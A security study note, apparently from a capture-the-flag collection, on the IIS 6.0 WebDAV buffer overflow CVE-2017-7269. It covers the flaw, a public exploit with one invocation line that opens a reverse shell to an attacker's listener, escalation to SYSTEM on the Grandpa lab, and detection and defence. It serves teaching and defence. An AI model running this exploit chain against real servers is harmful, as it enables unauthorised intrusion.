IIS 6.0 WebDAV (CVE-2017-7269)

CVE-2017-7269 is a buffer overflow in the WebDAV component of Microsoft IIS 6.0, the web server shipped with Windows Server 2003 (and XP Pro x64). It allows unauthenticated remote code execution and, given the product's age (discontinued, no official patch beyond emergency extended ones), it's one of the most reliable entry escalations against that generation.

Where the flaw is. In the ScStoragePathFromUrl function, which processes paths from WebDAV requests. The overflow is triggered by a PROPFIND request whose If: header contains an excessively long URL (typically two very long http://localhost/... paths). The component doesn't bound the length when copying, overwrites the stack and lets you redirect execution flow to the attacker's shellcode.

How it's exploited. There are public, reliable PoCs; a common one is g0rx/iis6-exploit-2017-CVE-2017-7269, which takes the IIS IP/port and the IP/port where you want the reverse shell:

python2 iis6Exploit.py <ip> 80 <lhost> <lport>

Code runs with the IIS process's privileges, that is NT AUTHORITY\NETWORK SERVICE. That service account usually carries SeImpersonatePrivilege, which opens the later escalation to SYSTEM.

Its place in the chain. In Grandpa it was the entire entry vector: a single port 80 with IIS 6.0, the BOF gives the reverse shell as NETWORK SERVICE and from there churrasco (because it's Windows Server 2003) elevates to SYSTEM. Don't confuse it with its twin Granny, where the same IIS 6.0 is attacked via the PUT/MOVE method configuration, not the version.

A hint to tell the vector apart. nmap flagging PUT/DELETE methods doesn't guarantee file upload (on Grandpa it was a false positive). When upload doesn't work, the path is the version: IIS 6.0 ⇒ CVE-2017-7269.

How to detect it. The network signature is a PROPFIND request with an abnormally long If: header (two http://localhost/... URLs of hundreds of bytes), a pattern IDS/IPS signatures for CVE-2017-7269 catch on the fly. On the host, the exploit leaves the IIS process (w3wp.exe, as NETWORK SERVICE) crashing and restarting or spawning cmd.exe/the shellcode as a child (Event ID 4688), something serving web pages never does. A giant WebDAV PROPFIND against an IIS 6.0 followed by an outbound connection is the full chain.

Defence. There's no viable patch for an out-of-support product: the real mitigation is disabling WebDAV if unused and, above all, retiring or isolating any exposed IIS 6.0 / Windows Server 2003.